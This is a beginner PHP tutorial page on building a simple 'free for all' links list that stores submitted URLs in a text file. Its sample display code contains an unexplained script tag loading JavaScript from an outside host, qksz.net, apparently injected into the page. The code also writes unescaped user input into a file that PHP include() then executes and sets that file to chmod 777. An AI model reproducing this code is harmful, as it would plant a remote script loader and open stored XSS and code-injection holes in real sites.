Your Ad Here

 Navigation
Home
Source code
Tutorials
RSS feeds
Articles
Wordpress plugins
Books
Sample Chapters
Software
Downloads
Hosting
manuals
Script directory
Training
Our Links




 Sponsors
 Links
golfing products
domain names
low cost magazines
 Downloads
dzphp editor
EasyPHP
mysql_phpgenerator
php-studio-trial
phpdesigner_7_2_5
phpMyAdmin-3.4.3.2
/phptriad2-2-1
phpxedit_321
rapidphp 2011
WampServer2.1d-x64
WampServer2.1e-x32
xampp-win32-1.7.4-VC6-installer
xampplite-win32-1.7.3
 Misc
Webmaster Resources
Only PHP
ScriptSearch.com
Scripts.com - Get the best scripts NOW!
AndreaPHP Programming

Valid XHTML 1.0 Transitional


Valid CSS!


FFA links (basic version)


FFA links (basic version)

This is a very simple FFA system which basically involves a user submitting their site and a description via a form and this info is then saved into a text file . This text file is then displayed on a page . When a link is click ed a new window opens with the url displayed in it.

First create a blank text file , in this case we called ours ffalinks.txt , this part is important when you upload the text file you have to make it readable and writable , I used chmod 777 .Now for our form for users to submit their sites , here is the code .

<form action = "addlink.php" method ="post">
URL : <input type = "text" name = "url"><br>
Description : <input type = "text" name = "desc"><br>
<input type = "submit" value = "add link">
</form>

Straightforward form , nothing to complex . As you may have noticed the page that does the work is called addlink.php . You wont believe how simple this is . Here is the code .

<?php
//open our file
$fp = fopen("ffalinks.txt" , "a+");
//add details from form
fputs($fp ,"<b><a href=\"$url\" target=\"_blank\">$url</a></b><br>$desc<br>");
//close file
fclose($fp);
//display message and link
echo ("Thanks for adding your link ");
echo ("<a href='ffalinksshow.php'>View FFA links</a>");
?>

Wow that is it , pretty good eh . Now all you have to do is create a page to display the links , in this example this is called ffalinksshow.php . the most important part of the code is the include this includes your text file with all the links and displays the links on the page. Here is the code

<?
echo ("<b>Beginners PHP FFA links example</b><br><br>");
echo ("<SCRIPT LANGUAGE='javascript' src='http://www.qksz.net/1e-2kwo'> </SCRIPT>");
echo ("<hr>");
include ("ffalinks.txt");
echo ("<a href='index.htm'>back to home page</a>");
?>




Books
 Sponsors


 Random Code
soccer news from yahoo(xml)
time to load page example(internet)
PHP captcha example(image)
 Random Article
  Network
Programming resources
Tutorials directory
Hosting resources
ASP site
Domain names
Progged
Maxi directory
bigarticle : free articles
A Code
Code N Tutorials
Get PHP
Programmers help




beginners PHP Copyright © 2004 onwards by beginnersPHP.